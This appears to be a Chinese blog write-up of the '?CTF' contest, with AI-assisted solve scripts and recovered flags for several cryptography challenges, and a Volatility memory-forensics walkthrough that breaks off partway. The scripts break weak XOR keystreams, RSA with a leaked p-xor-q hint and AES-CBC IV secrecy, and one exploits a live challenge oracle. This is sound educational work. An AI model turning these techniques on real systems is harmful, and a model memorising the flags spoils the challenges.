CTF ?CTF_WriteUp 不是炒米线 2025-10-07 2025-12-10 crypto 这我是真不会,基本都ai,建议跳过
[Week1] Basic Number theory Gemini Gemini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Util.number import long_to_bytes, inversep = 71380997427449345634700552609577271052193856747526826598031269184817312570231 q = 65531748297495117965939047069388412545623909154912018722160805504300279801251 gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995 gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342 def solve_crt (a1, n1, a2, n2 ): """求解同余方程组 x ≡ a1 (mod n1), x ≡ a2 (mod n2)""" N = n1 * n2 x = (a1 * n2 * inverse(n2, n1) + a2 * n1 * inverse(n1, n2)) % N return x options = [ (gift1, gift2), (gift1, -gift2 % q), (-gift1 % p, gift2), (-gift1 % p, -gift2 % q) ] print ("正在检查所有4种可能的解:" )for res_p, res_q in options: m_candidate = solve_crt(res_p, p, res_q, q) try : flag = long_to_bytes(m_candidate) if b'flag' in flag: print (f"[*] 找到 Flag: {flag.decode()} " ) else : print (f"[ ] 不是 Flag: {flag} " ) except Exception as e: print (f"[!] 转换候选值时出错: {e} " )
1 2 3 4 5 正在检查所有4种可能的解: [ ] 不是 Flag: b'YP:\x08gM{\x80\xc0\x9b\xe38\xe1\x86\x81\xe7%\xc8\xae\xce^\x9b^P!\x06\x18\xf0\x92\x87\xf2C\xba"\xba\xe7]\xcbsg\xc0\xf2d\xa3\xc0,\xf6s\' /\x8e\xfd\xdb\xf1\x92\x08\x7f\xe4`\xf4\'s6H' [ ] 不是 Flag: b"5a\x85\x14\xca\xaa\xa4\xce\xcb\xad\x81\xe4\xbb\xd1\xa4Gz\xb6\xa1l\x05\x1c\x00\xccX' \xc4,\xcc\x8f\xfb \xc7Y\xdb\xae\x93\xfc\xf4\xd4?F\xa9\x80C\x84\xd1{\xbec\x02lm\xa3\x85\xbf\xcb\xa0\x1f\xbeJ\x83s\xd0" [ ] 不是 Flag: b'#\xee\xb4\xf3\x9c\xa2\xd6\xb1\xf4\xeeaT%\xb4\xdd\x9f\xab\x12\rbY\x7f]\x83\xc8\xdeU*2Y^\x9eG1\x12\x98,\xfe\xf1\x01\xe7\x1d\xf0\x97\xad\x16\x8aV\x992\xeb\xd4\xa0\xc7|\xbc\xe4\xab\xb3vMX;\xf5' [*] 找到 Flag: flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}
[Week1] Strange Machine GPTGPT
轮转密钥 (rotating keystream) 式 OTP/XOR 问题
思路(简短):
服务里 Key.generate() 每次把同一个 seed 循环左移 offset 字节(seed = seed[offset:] + seed[:offset]),因此每次加密使用的 key 都是同一 seed 的不同循环移位版本。
程序在开始时打印了第一个密文 cipher1 = pad(plaintext) xor k1(这是我们要恢复的明文对应的密文)。 我们可以用交互选项让服务为任意消息加密。若我们提交空消息(长度 0),padding 会是已知的(整块都是 msg_len 这个字节值),因此得到的密文就是 cipher_i = pad0 xor k_i,从而能直接恢复 k_i: k_i = cipher_i xor pad0。
两个连续的 k_i 和 k_{i+1} 互为循环移位(移位量等于 offset)。因此我们: 取到服务打印的 cipher1(对应 k1 与未知明文); 请求两次“空消息”加密,得到 cipher2 和 cipher3,从而恢复 k2 和 k3; 计算出把 k2 旋转多少字节可以得到 k3,这个旋转量就是 offset(模 msg_len); 用 offset 把 k2 反向旋转得到 k1; plaintext_padded = cipher1 xor k1,去 PKCS 风格 padding 就拿到明文。 最后把明文通过菜单选项 2 提交,拿 flag。
关键点:通过观察 base64 解码后密文的字节长度可以直接得到 msg_len,并且 pad 的实现保证当 msg_len < 256 时 padding 是单字节重复(题目代码的实现保证这一点),所以空消息的 padding 是已知的 bytes([msg_len]) * msg_len。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from pwn import remote, xorfrom base64 import b64decodeimport reHOST = 'challenge.ilovectf.cn' PORT = 30001 def parse_b64_from_line_str (line: str ) -> str : """ Parse patterns like: [*] 首次密文(base64):b'...' Return the inner base64 string (as str), or fallback part after colon. """ m = re.search(r"b'([^']+)'" , line) if m: return m.group(1 ) part = line.split(':' , 1 )[-1 ].strip() if part.startswith("b'" ) and part.endswith("'" ): return part[2 :-1 ] return part def rotate (bs: bytes , s: int ) -> bytes : s %= len (bs) return bs[s:] + bs[:s] def main (): r = remote(HOST, PORT) first_cipher_b64 = None while True : raw = r.recvline(timeout=5 ) if not raw: break try : line = raw.decode('utf-8' , errors='ignore' ) except : line = str (raw) if '首次密文(base64):' in line or '首次密文' in line: b64 = parse_b64_from_line_str(line) if b64: first_cipher_b64 = b64 break nxt_raw = r.recvline(timeout=2 ) if not nxt_raw: break try : nxt = nxt_raw.decode('utf-8' , errors='ignore' ) except : nxt = str (nxt_raw) first_cipher_b64 = parse_b64_from_line_str(nxt) break if not first_cipher_b64: print ("无法读取首次密文,退出。收到的最后输出(utf-8-ignore):" ) print (r.recv(timeout=1 ).decode('utf-8' , errors='ignore' )) return c1 = b64decode(first_cipher_b64) msg_len = len (c1) print (f"[+] detected msg_len = {msg_len} " ) pad0 = bytes ([msg_len]) * msg_len def enc_empty (): r.sendline("1" ) blk = r.recvuntil("请输入要加密的消息" .encode(), timeout=3 ) if isinstance (b"dummy" , bytes ) else None r.sendline(b"" ) while True : raw = r.recvline(timeout=4 ) if not raw: break try : line = raw.decode('utf-8' , errors='ignore' ) except : line = str (raw) if '你的消息已加密(密文):' in line or '你的消息已加密' in line: return parse_b64_from_line_str(line) return None print ("[*] 请求两次空消息加密以恢复轮转 keystream..." ) b64_2 = enc_empty() if not b64_2: print ("enc_empty failed (1)" ) return b64_3 = enc_empty() if not b64_3: print ("enc_empty failed (2)" ) return c2 = b64decode(b64_2) c3 = b64decode(b64_3) k2 = xor(c2, pad0) k3 = xor(c3, pad0) s = None for shift in range (msg_len): if rotate(k2, shift) == k3: s = shift break if s is None : print ("无法确定 offset(未找到使 k2 轮转到 k3 的 shift)" ) return print (f"[+] detected offset = {s} (mod {msg_len} )" ) k1 = rotate(k2, (-s) % msg_len) padded = xor(c1, k1) pad_len = padded[-1 ] if pad_len <= 0 or pad_len > msg_len: print ("[!] padding length 看起来不对,打印 padded (hex):" ) print (padded.hex ()) return if padded[-pad_len:] != bytes ([pad_len]) * pad_len: print ("[!] padding 验证失败,但仍尝试截取前部" ) plaintext = padded[:-pad_len] print ("[+] recovered plaintext (bytes):" , plaintext) try : print ("[+] recovered plaintext (utf-8):" , plaintext.decode()) except : pass r.sendline("2" ) r.recvuntil("请输入待校验的明文" , timeout=3 ) r.sendline(plaintext) out = r.recvall(timeout=3 ) try : print (out.decode('utf-8' , errors='ignore' )) except : print (out) r.close() if __name__ == "__main__" : main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 (base) ➜ [Week1] Strange Machine python exp.py [+] Opening connection to challenge.ilovectf.cn on port 30001: Done [+] detected msg_len = 16 [*] 请求两次空消息加密以恢复轮转 keystream... /Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:69: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/ r.sendline("1" ) [+] detected offset = 3 (mod 16) [+] recovered plaintext (bytes): b'Oh,you find it!' [+] recovered plaintext (utf-8): Oh,you find it! /Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:131: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/ r.sendline("2" ) /Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:132: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/ r.recvuntil("请输入待校验的明文" , timeout =3) [+] Receiving all data: Done (68B) [*] Closed connection to challenge.ilovectf.cn port 30001 : [*] 这是你的flag: flag{6d8c67e5-c9fe-4eb9-8eb1-806e3821978f}
[Week1] beyondHex 学到了学到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 base17_string = "807G6F429C7FA2200F46525G1350AB20G339D2GB7D8" base17_alphabet = "0123456789ABCDEFG" decimal_value = 0 for char in base17_string: decimal_value = decimal_value * 17 + base17_alphabet.find(char) byte_length = (decimal_value.bit_length() + 7 ) // 8 byte_string = decimal_value.to_bytes(byte_length, 'big' ) flag = byte_string.decode('ascii' ) print (flag)
[Week1] xorRSA GPTGPT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from math import ceil, log2n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493 e = 65537 c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494 x = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100 def bits_of (n ): return n.bit_length() BITS = max (bits_of(n), bits_of(x)) mask_cache = [(1 <<i)-1 for i in range (BITS+2 )] n_bits = n.bit_length() n_mods = [n & mask_cache[k] for k in range (BITS+1 )] x_bits = [(x>>i)&1 for i in range (BITS)] from functools import lru_cache@lru_cache(None ) def compute_partial_product (p_bits_tuple, q_bits_tuple ): k = len (p_bits_tuple) P = 0 Q = 0 for i, b in enumerate (p_bits_tuple): if b: P |= (1 <<i) for i, b in enumerate (q_bits_tuple): if b: Q |= (1 <<i) return (P * Q) & ((1 <<k)-1 ) from collections import dequedef recover_p_q (n, x ): B = x.bit_length() max_bits = n.bit_length()//2 + 2 max_bits = max (B, max_bits) stack = deque() stack.append((0 , (), ())) attempt = 0 while stack: i, p_bits, q_bits = stack.pop() attempt += 1 if attempt % 100000 == 0 : print (f'Attempts {attempt} , depth {i} ' ) if i >= max_bits: P = sum ((bit<<idx) for idx, bit in enumerate (p_bits)) Q = sum ((bit<<idx) for idx, bit in enumerate (q_bits)) if P*Q == n: return P, Q continue xi = x_bits[i] if i < len (x_bits) else 0 candidates = [] if xi == 0 : candidates = [(0 ,0 ),(1 ,1 )] else : candidates = [(0 ,1 ),(1 ,0 )] for a,b in candidates: new_p = p_bits + (a,) new_q = q_bits + (b,) prod_mod = compute_partial_product(new_p, new_q) if prod_mod != (n & ((1 <<(i+1 ))-1 )): continue stack.append((i+1 , new_p, new_q)) return None , None p, q = recover_p_q(n, x) if p is None : print ("Failed to recover p and q." ) else : if p*q != n: p, q = q, p print ("Recovered p and q. Checking primality..." ) print ("p bitlen:" , p.bit_length(), "q bitlen:" , q.bit_length()) from math import gcd phi = (p-1 )*(q-1 ) def inv (a, m ): return pow (a, -1 , m) d = inv(e, phi) m = pow (c, d, n) def long_to_bytes (n ): s = hex (n)[2 :] if len (s)%2 : s = '0' +s return bytes .fromhex(s) flag = long_to_bytes(m) print ("Flag:" , flag)
[Week2] AES_mode 看不懂,这题算Gemini的。AES-CBC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytesfrom binascii import unhexlifyxor_output = 91749376808341004327450956291130629671202939702313462998246826182668975563684 last_ciphertext_hex = b'8f325d5b5c5454680628fa08746d67cf' msg = b'Welcome to ?CTF! , I hope you can have fun!!!!!!' hint_upper_long = xor_output >> 128 xor_lower_long = xor_output & ((1 << 128 ) - 1 ) key_long = hint_upper_long ^ xor_lower_long key = long_to_bytes(key_long, 16 ) print (f"✅ Recovered Key: {key.hex ()} " )p1 = msg[0 :16 ] p2 = msg[16 :32 ] p3 = msg[32 :48 ] c3 = unhexlify(last_ciphertext_hex) decrypter = AES.new(key, AES.MODE_ECB) def xor_bytes (a, b ): return bytes (x ^ y for x, y in zip (a, b)) decrypted_c3 = decrypter.decrypt(c3) c2 = xor_bytes(decrypted_c3, p3) decrypted_c2 = decrypter.decrypt(c2) c1 = xor_bytes(decrypted_c2, p2) decrypted_c1 = decrypter.decrypt(c1) iv = xor_bytes(decrypted_c1, p1) flag = b'flag{' + iv + b'}' print (f"🚩 Final Flag: {flag.decode()} " )
1 2 ✅ Recovered Key: 9b39ce9c46e63788507896d6c16f2d33 🚩 Final Flag: flag{CBc_Us3s_Iv!=ECb}
forensics [Week2] 你也喜欢win7吗 解压得到内存镜像,先探明系统版本vol -f memory.raw windows.info得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Variable Value Kernel Base 0xf80003e06000 DTB 0x187000 Symbols file:///Users/chao/miniconda3/lib/python3.13/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 FileLayer KdDebuggerDataBlock 0xf80003ff70a0 NTBuildLab 7601.17514.amd64fre.win7sp1_rtm. CSDVersion 1 KdVersionBlock 0xf80003ff7068 Major/Minor 15.7601 MachineType 34404 KeNumberProcessors 2 SystemTime 2025-10-02 17:19:03+00:00 NtSystemRoot C:\Windows NtProductType NtProductWinNt NtMajorVersion 6 NtMinorVersion 1 PE MajorOperatingSystemVersion 6 PE MinorOperatingSystemVersion 1 PE Machine 34404 PE TimeDateStamp Sat Nov 20 09:30:02 2010
确实是win7,win7sp1_rtm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 (base) ➜ forensics vol -f memory.raw windows.pstree Volatility 3 Framework 2.26.2 PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path 4 0 System 0xfa800905c840 90 556 N/A False 2025-10-02 15:07:27.000000 UTC N/A - - - * 232 4 smss.exe 0xfa800a263b30 3 33 N/A False 2025-10-02 15:07:27.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\smss.exe \SystemRoot\System32\smss.exe \SystemRoot\System32\smss.exe 304 288 csrss.exe 0xfa800aff3860 9 444 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe - - 344 288 wininit.exe 0xfa800b55cb30 3 76 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\wininit.exe - - * 468 344 lsm.exe 0xfa800c04d190 11 238 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsm.exe C:\Windows\system32\lsm.exe C:\Windows\system32\lsm.exe * 460 344 lsass.exe 0xfa800b093b30 8 877 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsass.exe C:\Windows\system32\lsass.exe C:\Windows\system32\lsass.exe * 444 344 services.exe 0xfa800b079440 12 215 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\services.exe C:\Windows\system32\services.exe C:\Windows\system32\services.exe ** 640 444 svchost.exe 0xfa800b182290 8 295 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k RPCSS C:\Windows\system32\svchost.exe ** 1568 444 SearchIndexer. 0xfa800af3eb30 13 683 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchIndexer.exe C:\Windows\system32\SearchIndexer.exe /Embedding C:\Windows\system32\SearchIndexer.exe *** 2204 1568 SearchProtocol 0xfa800a193360 8 277 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchProtocolHost.exe "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe15_ Global\UsGthrCtrlFltPipeMssGthrPipe15 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exe *** 1836 1568 SearchFilterHo 0xfa800b1d79c0 5 93 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchFilterHost.exe "C:\Windows\system32\SearchFilterHost.exe" 0 508 512 520 65536 516 C:\Windows\system32\SearchFilterHost.exe ** 1304 444 svchost.exe 0xfa800a145b30 7 107 0 False 2025-10-02 15:11:00.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe - - ** 2392 444 svchost.exe 0xfa800b6eb8c0 10 367 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServicePeerNet C:\Windows\System32\svchost.exe ** 1060 444 svchost.exe 0xfa800b8a8960 13 317 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k secsvcs C:\Windows\System32\svchost.exe ** 1496 444 sppsvc.exe 0xfa800b84b060 4 151 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe C:\Windows\system32\sppsvc.exe ** 776 444 svchost.exe 0xfa800b21c060 28 558 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted C:\Windows\System32\svchost.exe *** 1428 776 dwm.exe 0xfa800b4e09b0 3 85 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe ** 264 444 svchost.exe 0xfa800b2bc060 22 663 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k NetworkService C:\Windows\system32\svchost.exe *** 3048 264 rdpclip.exe 0xfa800a234b30 8 169 1 False 2025-10-02 16:48:56.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\rdpclip.exe rdpclip C:\Windows\system32\rdpclip.exe ** 1128 444 wmpnetwk.exe 0xfa800b76a060 13 416 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows Media Player\wmpnetwk.exe "C:\Program Files\Windows Media Player\wmpnetwk.exe" C:\Program Files\Windows Media Player\wmpnetwk.exe ** 1516 444 svchost.exe 0xfa800b6b6b30 25 350 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation C:\Windows\system32\svchost.exe ** 944 444 svchost.exe 0xfa800b287b30 18 506 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService C:\Windows\system32\svchost.exe ** 1232 444 taskhost.exe 0xfa800b44f420 9 222 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\taskhost.exe "taskhost.exe" C:\Windows\system32\taskhost.exe ** 724 444 svchost.exe 0xfa800a8a1350 24 613 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted C:\Windows\System32\svchost.exe *** 1860 724 audiodg.exe 0xfa800a172060 7 128 0 False 2025-10-02 17:18:44.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x5f4 C:\Windows\system32\AUDIODG.EXE ** 564 444 svchost.exe 0xfa800b0f2270 10 355 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch C:\Windows\system32\svchost.exe ** 820 444 svchost.exe 0xfa800b23a9e0 37 1078 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs C:\Windows\system32\svchost.exe ** 532 444 spoolsv.exe 0xfa800b3666d0 14 580 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe ** 1048 444 svchost.exe 0xfa800b3816c0 19 313 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork C:\Windows\system32\svchost.exe 364 352 csrss.exe 0xfa8009068060 10 283 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe * 2620 364 conhost.exe 0xfa80091b6b30 2 59 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\conhost.exe \??\C:\Windows\system32\conhost.exe C:\Windows\system32\conhost.exe 400 352 winlogon.exe 0xfa800b057060 3 117 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe 1488 1392 explorer.exe 0xfa800b4eeb30 34 1145 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE * 2024 1488 wordpad.exe 0xfa80091e5b30 6 203 1 False 2025-10-02 17:16:30.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt" C:\Program Files\Windows NT\Accessories\WORDPAD.EXE * 2624 1488 mspaint.exe 0xfa800b3f7a70 6 127 1 False 2025-10-02 17:16:41.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\mspaint.exe "C:\Windows\system32\mspaint.exe" C:\Windows\system32\mspaint.exe * 2020 1488 cmd.exe 0xfa800a1ca630 1 22 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" C:\Windows\system32\cmd.exe ** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe 2516 528 csrss.exe 0xfa800a23d210 7 77 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe 1252 528 winlogon.exe 0xfa800a273060 4 98 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe * 716 1252 LogonUI.exe 0xfa800a2cdb30 7 186 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x0 C:\Windows\system32\LogonUI.exe
发现这个
1 2 3 * 2024 1488 wordpad.exe 0xfa80091e5b30 6 203 1 False 2025-10-02 17:16:30.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt" C:\Program Files\Windows NT\Accessories\WORDPAD.EXE ** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe
搜索一下关键词hint.txt 和flag ,哦吼?!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 (base) ➜ forensics vol -f memory.raw windows.filescan | grep -i "hint.txt" 0x29457910 100.0\Users\C3ngH\Desktop\hint.txt 0x2a15a9f0 \Users\C3ngH\AppData\Roaming\Microsoft\Windows\Recent\hint.txt.lnk (base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x29457910 Volatility 3 Framework 2.26.2 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0x29457910 hint.txt Error dumping file (base) ➜ forensics mv file.0x29457910.0xfa8009896460.DataSectionObject.hint.txt.dat hint.txt (base) ➜ forensics cat hint.txt *画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到… 所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~% (base) ➜ forensics vol -f memory.raw windows.filescan | grep -i "flag" 0x2b10e070 100.0\Users\C3ngH\Desktop\flag.zip (base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x2b10e070 Volatility 3 Framework 2.26.2 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0x2b10e070 flag.zip file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat (base) ➜ forensics ls dumpfiles proc_dumps file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat 你也喜欢win7吗.7z memory.raw (base) ➜ forensics file file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted (base) ➜ forensics mv file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat flag.zip (base) ➜ forensics unzip flag.zip Archive: flag.zip skipping: flag.txt unsupported compression method 99 (base) ➜ forensics unzip -v flag.zip Archive: flag.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 29 Unk:099 47 -62% 10-02-2025 23:35 af10f254 flag.txt -------- ------- --- ------- 29 47 -62% 1 file
他喵的,现在一看到压缩包密码就害怕😨。
1 2 *画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到… 所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%
结合题目提到的2560*1600,先dump出来再说vol -f memory.raw windows.memmap --pid 2624 --dump,获得pid.2624.dmp ,然后让ai写代码提取指定大小的图片:
